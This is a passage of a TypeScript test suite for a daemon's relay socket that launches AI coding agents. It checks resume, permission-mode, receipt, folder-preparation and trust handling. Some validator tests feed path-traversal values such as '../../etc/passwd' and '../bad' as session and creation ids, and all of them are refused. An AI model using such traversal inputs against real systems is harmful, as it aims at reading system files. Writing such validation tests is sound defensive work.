await vi.waitFor(() => expect(frames.some((frame) => frame.type === 'engines_probe_result')).toBe(true))
const reply = frames.find((frame) => frame.type === 'engines_probe_result')!.payload as {
engines: Array<{ engine: string; firstPrompt: boolean }>
}
const firstPrompt = Object.fromEntries(reply.engines.map((entry) => [entry.engine, entry.firstPrompt]))
expect(firstPrompt).toEqual({ claude: supportsFirstPrompt('claude'), cursor: supportsFirstPrompt('cursor') })
expect(firstPrompt.claude).toBe(true)
await socket.unregisterLocalClient('local:probe')
await socket.stop()
})
it('opens a harness on a conversation Harness did not start, and refuses what a resume cannot take', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:resume', {
sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,
})
const inputs: Array<{ resumeSessionId?: string | null; takeOver?: string | null; cwd: string }> = []
socket.onCreateAgent = async (input) => {
inputs.push(input)
return { ok: false, error: 'SESSION_OPEN_ELSEWHERE', detail: 'It is open in another terminal or app.' }
}
const create = (requestId: string, extra: Record<string, unknown>) => socket.handleLocalFrame('local:resume', {
type: 'agent_create', payload: { requestId, engine: 'codex', cwd: '/work/cohorts', ...extra },
})
const reply = (requestId: string) => frames.find((frame) => (frame.payload as { requestId?: string }).requestId === requestId)?.payload
create('ok', { resumeSessionId: '01a0c4ad-de5e-7000-8000-000000000001' })
await vi.waitFor(() => expect(reply('ok')).toBeDefined())
expect(inputs[0]).toMatchObject({ resumeSessionId: '01a0c4ad-de5e-7000-8000-000000000001', cwd: '/work/cohorts' })
// What cli.ts said about it reaches the client as it was said.
expect(reply('ok')).toMatchObject({ error: 'SESSION_OPEN_ELSEWHERE', detail: 'It is open in another terminal or app.' })
// Taken over from the terminal that has it: how, passed on as asked.
create('wait', { resumeSessionId: '01a0c4ad-de5e-7000-8000-000000000001', takeOver: 'wait' })
await vi.waitFor(() => expect(reply('wait')).toBeDefined())
expect(inputs[1]).toMatchObject({ takeOver: 'wait' })
create('shape', { resumeSessionId: '../../etc/passwd' })
create('prompt', { resumeSessionId: '01a0c4ad-de5e-7000-8000-000000000001', prompt: 'and then this' })
create('how', { resumeSessionId: '01a0c4ad-de5e-7000-8000-000000000001', takeOver: 'forcefully' })
create('what', { takeOver: 'now' })
await vi.waitFor(() => expect(reply('what')).toBeDefined())
for (const id of ['shape', 'prompt', 'how', 'what']) expect(reply(id)).toMatchObject({ error: 'INVALID_SESSION' })
expect(inputs).toHaveLength(2)
await socket.unregisterLocalClient('local:resume')
await socket.stop()
})
it('creates with approvals bypassed unless the client turns that off', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:bypass', {
sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,
})
const pending = (agentId: string): RegisteredSession => ({
schemaVersion: 2, active: true, launch: { state: 'starting' },
agentId, sessionId: '', boundAt: null, engine: 'claude',
transcriptPath: null, projectDir: 'work', cwd: '/tmp/work',
runtimes: [{ backend: 'tmux', paneId: '%9' }], primaryRuntimeKey: 'tmux/%9', tmuxPane: '%9',
source: null, title: null, model: null, cliVersion: null, processIdentity: null,
registeredAt: 1, touchedAt: 1, lastHookAt: 1, lastTranscriptAt: 1,
})
const create = vi.fn(async (input: { bypassPermission: boolean; permissionMode: string | null }) => ({ ok: true as const, session: pending(`b-${create.mock.calls.length}`) }))
socket.onCreateAgent = create
const ask = (requestId: string, extra: Record<string, unknown>) => socket.handleLocalFrame('local:bypass', {
type: 'agent_create', payload: { requestId, engine: 'claude', cwd: '/tmp/work', ...extra },
})
try {
ask('unsaid', {})
ask('on', { bypassPermission: true })
ask('off', { bypassPermission: false })
await vi.waitFor(() => expect(create).toHaveBeenCalledTimes(3))
expect(create.mock.calls.map(([input]) => input.bypassPermission)).toEqual([true, true, false])
// A mode decides, whatever bypassPermission says; one the engine lacks is refused.
ask('plan', { permissionMode: 'plan', bypassPermission: true })
ask('full', { permissionMode: 'full', bypassPermission: false })
await vi.waitFor(() => expect(create).toHaveBeenCalledTimes(5))
expect(create.mock.calls.slice(3).map(([input]) => [input.permissionMode, input.bypassPermission]))
.toEqual([['plan', false], ['full', true]])
ask('bogus', { permissionMode: 'readOnly' })
ask('shape', { permissionMode: 7 })
await vi.waitFor(() => expect(frames.filter((frame) => (frame.payload as { error?: string } | undefined)?.error === 'INVALID_PERMISSION_MODE')).toHaveLength(2))
expect(create).toHaveBeenCalledTimes(5)
} finally {
await socket.unregisterLocalClient('local:bypass')
await socket.stop()
}
})
it('creates a terminal with no folder at home, and refuses it a grid or a project to prepare', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:terminal', {
sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,
})
const pending: RegisteredSession = {
schemaVersion: 2, active: true, launch: { state: 'ready' }, terminalHost: true,
agentId: 'term-1', sessionId: '', boundAt: null, engine: 'terminal',
transcriptPath: null, projectDir: 'nqhieu84', cwd: homedir(),
runtimes: [{ backend: 'tmux', paneId: '%9' }], primaryRuntimeKey: 'tmux/%9', tmuxPane: '%9',
source: null, title: null, model: null, cliVersion: null, processIdentity: null,
registeredAt: 1, touchedAt: 1, lastHookAt: 1, lastTranscriptAt: 1,
}
const create = vi.fn(async (_input: { engine: string; cwd: string }) => ({ ok: true as const, session: pending }))
socket.onCreateAgent = create
const ask = (requestId: string, payload: Record<string, unknown>) => socket.handleLocalFrame('local:terminal', {
type: 'agent_create', payload: { requestId, engine: 'terminal', ...payload },
})
const errorOf = (requestId: string) => (frames.find((frame) => frame.type === 'agent_create_result'
&& (frame.payload as { requestId?: string }).requestId === requestId)?.payload as { error?: string } | undefined)?.error
try {
ask('home', {})
ask('folder', { cwd: '/tmp/work' })
await vi.waitFor(() => expect(create).toHaveBeenCalledTimes(2))
expect(create.mock.calls.map(([input]) => [input.engine, input.cwd])).toEqual([['terminal', homedir()], ['terminal', '/tmp/work']])
ask('relative', { cwd: 'work' })
ask('grid', { grid: { networkId: 'n', networkName: 'net', baseUrl: 'https://grid.example', apiKey: 'k' } })
ask('prompt', { prompt: 'hello' })
await vi.waitFor(() => expect(['relative', 'grid', 'prompt'].map(errorOf)).toEqual(['INVALID_CWD', 'INVALID_GRID', 'PROMPT_UNSUPPORTED']))
expect(create).toHaveBeenCalledTimes(2)
} finally {
await socket.unregisterLocalClient('local:terminal')
await socket.stop()
}
})
it('recovers a delayed creation on the same connection without starting another agent', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:receipt', {
sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,
})
const pending: RegisteredSession = {
schemaVersion: 2, active: true, launch: { state: 'starting' },
agentId: 'receipt-agent', sessionId: '', boundAt: null, engine: 'claude',
transcriptPath: null, projectDir: 'work', cwd: '/tmp/work',
runtimes: [{ backend: 'tmux', paneId: '%receipt' }], primaryRuntimeKey: 'tmux/%receipt', tmuxPane: '%receipt',
source: null, title: null, model: null, cliVersion: null, processIdentity: null,
registeredAt: 1, touchedAt: 1, lastHookAt: 1, lastTranscriptAt: 1,
}
const lookup = vi.spyOn(registry, 'byAgent').mockReturnValue(pending)
let finish!: () => void
const create = vi.fn(() => new Promise<{ ok: true; session: RegisteredSession }>((resolve) => {
finish = () => resolve({ ok: true, session: pending })
}))
socket.onCreateAgent = create
const creationId = randomUUID()
const ask = (type: string, requestId: string, choices = {}) => socket.handleLocalFrame('local:receipt', {
type, payload: { requestId, creationId, ...choices },
})
try {
ask('agent_create', 'first', { engine: 'claude', cwd: '/tmp/work' })
await vi.waitFor(() => expect(create).toHaveBeenCalledTimes(1))
ask('agent_create_status', 'while-pending')
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_create_status_result', payload: { requestId: 'while-pending', creationId, state: 'pending' },
}))
// New transport request id, same deliberate creation intent.
ask('agent_create', 'retry', { engine: 'claude', cwd: '/tmp/work' })
finish()
for (const requestId of ['first', 'retry']) {
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_result', payload: expect.objectContaining({ requestId, creationId, state: 'created', agent: expect.objectContaining({ id: pending.agentId }) }),
})))
}
expect(create).toHaveBeenCalledTimes(1)
ask('agent_create_status', 'recovered')
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_status_result', payload: expect.objectContaining({ requestId: 'recovered', creationId, state: 'created', agent: expect.objectContaining({ id: pending.agentId }) }),
})))
ask('agent_create', 'changed', { engine: 'codex', cwd: '/tmp/work' })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_result', payload: expect.objectContaining({ requestId: 'changed', error: 'CREATION_CONFLICT' }),
})))
lookup.mockReturnValue(undefined)
ask('agent_create', 'deleted', { engine: 'claude', cwd: '/tmp/work' })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_result', payload: expect.objectContaining({ requestId: 'deleted', creationId, state: 'unavailable' }),
})))
expect(create).toHaveBeenCalledTimes(1)
} finally {
finish?.()
await socket.unregisterLocalClient('local:receipt')
await socket.stop()
}
})
it('tells the gateway a launch an agent started, apart from a person\'s', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const signals: Array<Record<string, unknown>> = []
vi.spyOn(gatewayOf(socket), 'usageLaunch').mockImplementation((signal) => { signals.push(signal as never) })
socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'SPAWN_FAILED' }))
socket.registerLocalClient('local:started-by', { sendFrame: () => true, sendBinary: () => true })
try {
const agentId = randomUUID(), personId = randomUUID()
socket.handleLocalFrame('local:started-by', { type: 'agent_create', payload: { requestId: 'agent', creationId: agentId, engine: 'codex',
cwd: '/tmp/work', startedBy: 'agent', parentAgentId: 'parent-agent' } })
socket.handleLocalFrame('local:started-by', { type: 'agent_create', payload: { requestId: 'person', creationId: personId, engine: 'codex', cwd: '/tmp/work' } })
await vi.waitFor(() => expect(signals.filter(signal => signal.phase === 'start')).toHaveLength(2))
expect(signals).toContainEqual({ id: agentId, phase: 'start', engine: 'codex', agentStarted: true })
expect(signals).toContainEqual({ id: personId, phase: 'start', engine: 'codex' })
} finally {
await socket.unregisterLocalClient('local:started-by')
await socket.stop()
}
})
it('tells the gateway a launch\'s engine and the agent it created, and then that agent\'s start failing', async () => {
// A create whose engine then did not start was counted as a launch that worked: the reply had said created
// (core/agents/newPane.ts; production counters, 2026-10-16). Only fixed names and the agent's id leave here.
const socket = relaySocket('token')
bindLaunchRequests(socket)
const signals: unknown[] = []
vi.spyOn(gatewayOf(socket), 'usageLaunch').mockImplementation((signal) => { signals.push(signal) })
const states: unknown[][] = []
gatewayOf(socket).productUsage = { observe: vi.fn(), opened: vi.fn(), presence: vi.fn(), launchState: (...args) => { states.push(args) } }
socket.registerLocalClient('local:measured', { sendFrame: () => true, sendBinary: () => true })
const session: RegisteredSession = {
schemaVersion: 2, active: true, launch: { state: 'starting' },
agentId: 'measured-agent', sessionId: '', boundAt: null, engine: 'claude',
transcriptPath: null, projectDir: 'work', cwd: '/tmp/work',
runtimes: [{ backend: 'tmux', paneId: '%measured' }], primaryRuntimeKey: 'tmux/%measured', tmuxPane: '%measured',
source: null, title: 'PRIVATE_CANARY', model: null, cliVersion: null, processIdentity: null,
registeredAt: 1, touchedAt: 1, lastHookAt: 1, lastTranscriptAt: 1,
}
vi.spyOn(registry, 'byAgent').mockReturnValue(session)
socket.onCreateAgent = vi.fn(async () => ({ ok: true as const, session }))
const creationId = randomUUID()
try {
socket.handleLocalFrame('local:measured', { type: 'agent_create', payload: { requestId: 'measured', creationId, engine: 'claude', cwd: '/tmp/work' } })
await vi.waitFor(() => expect(signals).toHaveLength(2))
expect(signals).toEqual([{ id: creationId, phase: 'start', engine: 'claude' }, { id: creationId, phase: 'created', agent: 'measured-agent' }])
socket.send({ type: 'agent_synced', payload: { agent: { ...await socket.toProject(session),
launch: { state: 'failed', error: 'ENGINE_DID_NOT_START', detail: 'PRIVATE_CANARY could not start' } } } })
socket.send({ type: 'agent_synced', payload: { agent: await socket.toProject({ ...session, launch: { state: 'ready' } }) } })
expect(states).toEqual([['measured-agent', 'failed', 'engine_did_not_start'], ['measured-agent', 'ready', undefined]])
expect(JSON.stringify([signals, states])).not.toContain('PRIVATE_CANARY')
} finally {
await socket.unregisterLocalClient('local:measured')
await socket.stop()
}
})
it('explains invalid repository choices without echoing credentials or preparing a folder', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:invalid-project', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
const prepare = vi.spyOn(projectFolder, 'prepareProjectFolder')
const create = vi.fn()
socket.onCreateAgent = create
try {
socket.handleLocalFrame('local:invalid-project', { type: 'agent_create', payload: {
requestId: 'invalid', creationId: randomUUID(), engine: 'codex', projectSource: 'remote',
repositoryUrl: 'https://[email protected]/owner/repo',
} })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'agent_create_result', payload: {
requestId: 'invalid', error: 'INVALID_REPOSITORY',
detail: 'Enter a GitHub HTTPS or SSH URL, or owner/repository.',
} }))
expect(JSON.stringify(frames)).not.toContain('private-token')
expect(prepare).not.toHaveBeenCalled()
expect(create).not.toHaveBeenCalled()
} finally {
await socket.unregisterLocalClient('local:invalid-project')
await socket.stop()
}
})
it.each([
{ projectSource: 'remote', repositoryUrl: 'owner/repo' },
{ projectSource: 'worktree', gitSource: '/remote/repo', branchRef: 'refs/heads/main' },
{ projectSource: 'branch', gitSource: '/remote/repo', branchRef: 'refs/heads/feature' },
])('prepares $projectSource once under its creation receipt and retains its folder after a refused launch', async (project) => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:project', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
let finish!: (folder: string) => void
const prepare = vi.spyOn(projectFolder, 'prepareProjectFolder').mockImplementation(() => new Promise(resolve => { finish = resolve }))
const create = vi.fn(async () => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))
socket.onCreateAgent = create
const creationId = randomUUID()
const payload = { creationId, engine: 'claude', ...project }
const ask = (type: string, requestId: string, choices = payload) => socket.handleLocalFrame('local:project', { type, payload: { requestId, ...choices } })
try {
ask('agent_create', 'first')
await vi.waitFor(() => expect(prepare).toHaveBeenCalledTimes(1))
ask('agent_create', 'retry')
ask('agent_create_status', 'pending')
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId: 'pending', state: 'pending' }) })))
expect(create).not.toHaveBeenCalled()
finish('/remote/Harness Projects/repo')
for (const requestId of ['first', 'retry']) {
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId, state: 'failed', preparedFolder: '/remote/Harness Projects/repo', failure: { code: 'TMUX_UNAVAILABLE' } }) })))
}
expect(create).toHaveBeenCalledExactlyOnceWith(expect.objectContaining({ cwd: '/remote/Harness Projects/repo' }))
expect(prepare).toHaveBeenCalledTimes(1)
ask('agent_create', 'changed', { ...payload, engine: 'codex' })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId: 'changed', error: 'CREATION_CONFLICT' }) })))
expect(prepare).toHaveBeenCalledTimes(1)
ask('agent_create_status', 'saved')
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId: 'saved', preparedFolder: '/remote/Harness Projects/repo' }) })))
} finally {
finish?.('/remote/Harness Projects/repo')
await socket.unregisterLocalClient('local:project')
await socket.stop()
}
})
it.each([
{ name: 'a new empty folder', project: { projectSource: 'new' }, sourceTrusted: false, trusts: true },
{ name: 'a clone', project: { projectSource: 'remote', repositoryUrl: 'owner/repo' }, sourceTrusted: false, trusts: false },
{ name: 'the person\'s own repo (branch)', project: { projectSource: 'branch', gitSource: '/work/repo', branchRef: 'refs/heads/feature' }, sourceTrusted: true, trusts: false },
{ name: 'a worktree of an untrusted repo', project: { projectSource: 'worktree', gitSource: '/work/repo', branchRef: 'refs/heads/main' }, sourceTrusted: false, trusts: false },
{ name: 'a worktree of a repo Claude already trusts', project: { projectSource: 'worktree', gitSource: '/work/repo', branchRef: 'refs/heads/main' }, sourceTrusted: true, trusts: true },
])('records Claude trust for $name: $trusts', async ({ project, sourceTrusted, trusts }) => {
// Only a folder the daemon made empty, or a worktree of a repo already trusted, is trusted for the person.
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:trust', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
vi.spyOn(projectFolder, 'prepareProjectFolder').mockResolvedValue('/work/prepared')
vi.mocked(claudeTrust.claudeTrusts).mockReturnValue(sourceTrusted)
vi.mocked(claudeTrust.preTrustClaudeProject).mockClear()
socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))
try {
socket.handleLocalFrame('local:trust', { type: 'agent_create', payload: { requestId: 'r', creationId: randomUUID(), engine: 'claude', ...project } })
await vi.waitFor(() => expect(socket.onCreateAgent).toHaveBeenCalled())
if (trusts) expect(claudeTrust.preTrustClaudeProject).toHaveBeenCalledExactlyOnceWith('/work/prepared')
else expect(claudeTrust.preTrustClaudeProject).not.toHaveBeenCalled()
if (project.projectSource === 'worktree') expect(claudeTrust.claudeTrusts).toHaveBeenCalledWith('/work/repo')
} finally {
await socket.unregisterLocalClient('local:trust')
await socket.stop()
}
})
it.each([
{ name: 'an empty workspace the app just made', contents: [] as string[], nested: false, trusts: true },
{ name: 'a workspace that already has something', contents: ['Makefile'], nested: false, trusts: false },
{ name: 'an empty folder outside the projects root', contents: [] as string[], nested: true, trusts: false },
])('records Claude trust for $name: $trusts', async ({ contents, nested, trusts }) => {
// A plain cwd on the LOCAL machine is the desktop handing over a workspace it just made. Trust is
// recorded only on evidence (the readdir) and only directly inside the projects root: trust inherits
// downward, so an empty folder the person merely browsed to would cover everything cloned under it.
const root = mkdtempSync(join(tmpdir(), 'harness-root-'))
const dir = nested ? join(root, 'a', 'b') : join(root, 'workspace')
mkdirSync(dir, { recursive: true })
for (const item of contents) writeFileSync(join(dir, item), 'x')
vi.spyOn(projectFolder, 'projectsRoot').mockReturnValue(root)
const socket = relaySocket('token')
bindLaunchRequests(socket)
socket.registerLocalClient('local:cwd-trust', { sendFrame: () => true, sendBinary: () => true })
vi.mocked(claudeTrust.preTrustClaudeProject).mockClear()
socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))
try {
socket.handleLocalFrame('local:cwd-trust', { type: 'agent_create', payload: { requestId: 'r', creationId: randomUUID(), engine: 'claude', cwd: dir } })
await vi.waitFor(() => expect(socket.onCreateAgent).toHaveBeenCalled())
if (trusts) expect(claudeTrust.preTrustClaudeProject).toHaveBeenCalledExactlyOnceWith(dir)
else expect(claudeTrust.preTrustClaudeProject).not.toHaveBeenCalled()
} finally {
await socket.unregisterLocalClient('local:cwd-trust')
await socket.stop()
rmSync(root, { recursive: true, force: true })
}
})
it('does NOT record Claude trust for an empty workspace named by a relayed frame', async () => {
// agent_create is not backend-only, so a relay frame is E2EE-unwrapped and reaches the same pre-trust
// path. Everything else about this frame would qualify — the folder is empty AND in the projects root —
// so the LOCAL gate is the only thing refusing it.
const root = mkdtempSync(join(tmpdir(), 'harness-root-'))
const dir = join(root, 'workspace')
mkdirSync(dir)
vi.spyOn(projectFolder, 'projectsRoot').mockReturnValue(root)
const socket = relaySocket('token')
bindLaunchRequests(socket)
const internals = socket as unknown as {
e2ee: { unwrapDown: (connId: string, frame: unknown) => unknown }
dispatchDown: (frame: unknown, connId: string, transport: string) => Promise<void>
}
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'agent_create', payload: { requestId: 'r', creationId: randomUUID(), engine: 'claude', cwd: dir },
})
vi.mocked(claudeTrust.preTrustClaudeProject).mockClear()
socket.onCreateAgent = vi.fn(async () => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))
try {
await dispatchDown(socket, { type: 'agent_create', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'web-1', 'relay')
// The create ran, so the pre-trust branch was reached and declined — not skipped earlier by the gate.
await vi.waitFor(() => expect(socket.onCreateAgent).toHaveBeenCalled())
expect(claudeTrust.preTrustClaudeProject).not.toHaveBeenCalled()
} finally {
await socket.stop()
rmSync(root, { recursive: true, force: true })
}
})
it('hands the launch the SCM record the prepared workspace reported, and none for a folder no SCM made', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:scm', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })
const prepare = vi.spyOn(projectFolder, 'prepareProjectFolder').mockImplementation(async (project, options) => {
if (project.source === 'worktree') options?.onPrepared?.({ cwd: '/remote/harnesses/worktrees/repo/brave-otter', scmLaunchRecord: { kind: 'git' } })
return project.source === 'worktree' ? '/remote/harnesses/worktrees/repo/brave-otter' : '/remote/harnesses/codex-2026-09-24-12-00'
})
const create = vi.fn(async (_input: Record<string, unknown>) => ({ ok: false as const, error: 'TMUX_UNAVAILABLE' }))
socket.onCreateAgent = create
const ask = (requestId: string, choices: Record<string, unknown>) =>
socket.handleLocalFrame('local:scm', { type: 'agent_create', payload: { requestId, creationId: randomUUID(), engine: 'claude', ...choices } })
try {
ask('worktree', { projectSource: 'worktree', gitSource: '/remote/repo', branchRef: 'refs/heads/main' })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId: 'worktree', state: 'failed' }) })))
expect(create).toHaveBeenLastCalledWith(expect.objectContaining({ cwd: '/remote/harnesses/worktrees/repo/brave-otter', scmLaunchRecord: { kind: 'git' } }))
ask('new', { projectSource: 'new' })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId: 'new', state: 'failed' }) })))
expect(create).toHaveBeenLastCalledWith(expect.objectContaining({ cwd: '/remote/harnesses/codex-2026-09-24-12-00', scmLaunchRecord: null }))
// A create that names its own folder prepared nothing, and says nothing about an SCM.
ask('cwd', { cwd: '/remote/own' })
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({ payload: expect.objectContaining({ requestId: 'cwd' }) })))
expect(create).toHaveBeenLastCalledWith(expect.objectContaining({ cwd: '/remote/own' }))
expect(create.mock.lastCall?.[0]).not.toHaveProperty('scmLaunchRecord')
expect(prepare).toHaveBeenCalledTimes(2)
} finally {
await socket.unregisterLocalClient('local:scm')
await socket.stop()
}
})
it('checks an unknown creation without spawning and rejects malformed creation ids before launch', async () => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:missing-receipt', {
sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,
})
const create = vi.fn(async () => ({ ok: false as const, error: 'CWD_NOT_FOUND' }))
socket.onCreateAgent = create
const creationId = randomUUID()
try {
socket.handleLocalFrame('local:missing-receipt', {
type: 'agent_create_status', payload: { requestId: 'missing', creationId },
})
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_create_status_result', payload: { requestId: 'missing', creationId, state: 'missing' },
}))
socket.handleLocalFrame('local:missing-receipt', {
type: 'agent_create_cancel', payload: { requestId: 'cancel', creationId },
})
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_create_cancel_result', payload: { requestId: 'cancel', creationId, state: 'cancelled' },
}))
socket.handleLocalFrame('local:missing-receipt', {
type: 'agent_create', payload: { requestId: 'late', creationId, engine: 'claude', cwd: '/tmp/work' },
})
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_create_result', payload: { requestId: 'late', creationId, state: 'cancelled' },
}))
socket.handleLocalFrame('local:missing-receipt', {
type: 'agent_create', payload: { requestId: 'invalid', creationId: '../bad', engine: 'claude', cwd: '/tmp/work' },
})
await vi.waitFor(() => expect(frames).toContainEqual(expect.objectContaining({
type: 'agent_create_result', payload: expect.objectContaining({ requestId: 'invalid', error: 'INVALID_CREATION_ID' }),
})))
expect(create).not.toHaveBeenCalled()
} finally {
await socket.unregisterLocalClient('local:missing-receipt')
await socket.stop()
}
})
it.each([
['CWD_NOT_FOUND', 'failed'],
['SPAWN_FAILED', 'unconfirmed'],
['REGISTRATION_FAILED', 'unconfirmed'],
])('does not relaunch a recorded %s outcome', async (error, state) => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:refusal', {
sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true,
})
const create = vi.fn(async () => ({ ok: false as const, error }))
socket.onCreateAgent = create
const creationId = randomUUID()
try {
for (const requestId of ['initial', 'retry']) {
socket.handleLocalFrame('local:refusal', {
type: 'agent_create', payload: { requestId, creationId, engine: 'claude', cwd: '/tmp/work' },
})
await vi.waitFor(() => expect(frames).toContainEqual({
type: 'agent_create_result',
payload: { requestId, creationId, state, ...(state === 'failed' ? { failure: { code: error } } : {}) },
}))
}
expect(create).toHaveBeenCalledTimes(1)
} finally {
await socket.unregisterLocalClient('local:refusal')
await socket.stop()
}
})
it('sends a device focus request to one desktop window only', async () => {
const socket = relaySocket('token')
const first = vi.fn(() => true), second = vi.fn(() => true)
const frame = { type: 'device_focus', payload: { agentId: 'first' } }
expect(socket.sendFirstLocal(frame)).toBe(false)
socket.registerLocalClient('local:first', { sendFrame: first, sendBinary: () => true })
socket.registerLocalClient('local:second', { sendFrame: second, sendBinary: () => true })
first.mockClear(); second.mockClear()
expect(socket.sendFirstLocal(frame)).toBe(true)
expect(first).toHaveBeenCalledExactlyOnceWith(frame)
expect(second).not.toHaveBeenCalled()
await socket.unregisterLocalClient('local:first')
await socket.unregisterLocalClient('local:second')
await socket.stop()
})
it('hands a blocked agent to the window without putting the question on the cloud leg', async () => {
const socket = relaySocket('token')
expect(socket.hasLocalClient()).toBe(false)
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:window', {
sendFrame: (frame) => { frames.push(frame); return true },
sendBinary: () => true,
})
// The watcher's whole gate: polling a pane for a dialog is waste with nobody rendering it, and
// "nobody" used to mean "no device" — which is what kept the window in the dark.
expect(socket.hasLocalClient()).toBe(true)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const asked = {
type: 'commander_question',
agentId: 'a1',
dbSessionId: 's1',
payload: { requestId: 'q_1', questions: [{ key: 'Which theme?', q: 'Which theme?', options: ['Blue', 'Red'], multi: false }] },
}
socket.sendLocal(asked)
// The window reads it in the clear, which is what loopback is for...
expect(frames).toContainEqual(asked)
// ...and it never reaches the relay. `commander_question` is deliberately NOT in ENCRYPTED_UP_TYPES,
// so `send()` here would have travelled the cloud leg as plaintext question text and option labels.
expect(parseSent(ws).some((item) => (item.frame as { type?: string })?.type === 'commander_question')).toBe(false)
await socket.unregisterLocalClient('local:window')
expect(socket.hasLocalClient()).toBe(false)
await socket.stop()
})
it('routes local terminal binary directly and preserves local streams when cloud disconnects', async () => {
vi.useFakeTimers()
const socket = relaySocket('token')
const handleBinary = vi.fn(async () => undefined)
const closeConnection = vi.fn(async () => undefined)
const closeConnectionsWhere = vi.fn(async (
_predicate: (connId: string) => boolean,
_reason: string,
_notify?: boolean,
) => undefined)
const stop = vi.fn(async () => undefined)
socket.setTerminalStreamManager({
handleBinary,
closeConnection,
closeConnectionsWhere,
stop,
} as unknown as TerminalStreamManager)
const binary: Uint8Array[] = []
socket.registerLocalClient('local:terminal', {
sendFrame: () => true,
sendBinary: (frame) => { binary.push(frame); return true },
})
const clear = {
kind: TerminalBinaryKind.input,
streamId: '00112233-4455-6677-8899-aabbccddeeff',
seq: 1,
bytes: Uint8Array.of(1, 2),
compressed: false,
}
await socket.handleLocalBinary('local:terminal', clear)
expect(handleBinary).toHaveBeenCalledWith('local:terminal', clear)
expect(socket.sendTerminalBinaryTo('local:terminal', clear)).toBe(true)
expect(decodeTerminalLocal(binary[0])).toEqual(clear)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.close()
expect(closeConnectionsWhere).toHaveBeenCalledOnce()
const predicate = closeConnectionsWhere.mock.calls[0][0] as (connId: string) => boolean
expect(predicate('web-1')).toBe(true)
expect(predicate('local:terminal')).toBe(false)
await socket.unregisterLocalClient('local:terminal')
expect(closeConnection).toHaveBeenCalledWith('local:terminal', 'local client disconnected', false)
await socket.stop()
})
it('reports the window itself: open when it attaches, ping once a minute while it stays, nothing while offline', async () => {
vi.useFakeTimers()
const socket = relaySocket('token')
const sink = { sendFrame: () => true, sendBinary: () => true }
const kinds = (ws: InstanceType<typeof wsMock.MockWebSocket>) => parseSent(ws)
.filter((m) => (m.frame as { type?: string } | undefined)?.type === 'app_presence')
.map((m) => (m.frame as { payload: { kind: string } }).payload.kind)
// A window attaching to a not-yet-dialed daemon (the cold start): nothing can be sent yet, and
// nothing is queued behind real frames — but the session is owed to the link that comes up.
expect(socket.registerLocalClient('local:1', sink)).toBe(true)
socket.connect()
const ws = wsMock.instances[0]
expect(kinds(ws)).toEqual([])
ws.open()
expect(kinds(ws)).toEqual(['open'])
// While the window stays: once a minute on the app-ping tick, not once a tick.
vi.advanceTimersByTime(45_000)
expect(kinds(ws)).toEqual(['open'])
vi.advanceTimersByTime(15_000)
expect(kinds(ws)).toEqual(['open', 'ping'])
